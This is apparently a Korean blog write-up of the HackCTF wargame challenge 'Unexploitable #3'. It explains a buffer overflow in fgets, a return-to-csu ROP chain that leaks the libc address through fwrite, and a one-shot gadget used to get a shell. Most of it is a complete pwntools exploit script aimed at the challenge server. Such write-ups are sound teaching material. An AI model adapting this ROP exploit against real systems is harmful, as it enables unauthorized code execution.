Wargame/HackCTF

Unexploitable #3

Anatis 2021. 5. 1. 23:14

 

1.  Mitigation

GOT Overwrite가 가능하고 NX가 실행되어 있어 쉘 코드 삽입이 불가능 하다.

 

2. 문제 확인

문제를 실행 시키면 Impossible RTL ha? 문자열이 출력되고 입력을 받고 종료한다.

 

3. 풀이

메인함수에서는 fgets를 통해 BOF가 일어난다.

 

gift 함수부분을 보면 가젯을 선물로 주는데 나중에 사용할 수 도 있으니 일단 알아만 놓자.

RTC기법으로 fwrite와 fgets를 통해 릭을 해야하는데 fwrite를 보면 mov rcx, [rdi] 부분이 있다. fwrite의 rcx부분 stdout을 처리하기 위해

이 부분을 이용할 것 이다.

 

stdout got 0x601050

 

우리는 RTC(Return to csu)기법을 통해 fgets의 주소를 릭을하여 libc base주소를 구해서 oneshot 가젯을 이용하여

쉘을 획득 할 것 이다.

 

4. Exploit code

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3034)
e = ELF('./Unexploitable_3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

csu1 = 0x40073A
csu2 = 0x400720
stdout = 0x601050
prdi = 0x400743
mrdi = 0x400658
onegadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]


payload = 'A'*24
payload += p64(prdi)
payload += p64(stdout)
payload += p64(mrdi)
payload += p64(csu1)
payload += p64(0)   # pop rbx
payload += p64(1)   # pop rbp
payload += p64(e.got['fwrite']) # pop r12
payload += p64(1)   # pop r13
payload += p64(8)   # pop r14
payload += p64(e.got['fgets'])   # pop r15
payload += p64(csu2)    # ret

payload += p64(0)*7
payload += p64(e.symbols['main'])

p.sendlineafter('\n', payload)

leak = u64(p.recv(6).ljust(8, '\x00'))
libc = leak - libc.symbols['fgets']
oneshot = libc + onegadget[0]

log.info('fgets : ' + hex(leak))
log.info('libc base : ' + hex(libc))

payload = 'A'*0x18
payload += p64(oneshot)
p.sendline(payload)

p.interactive()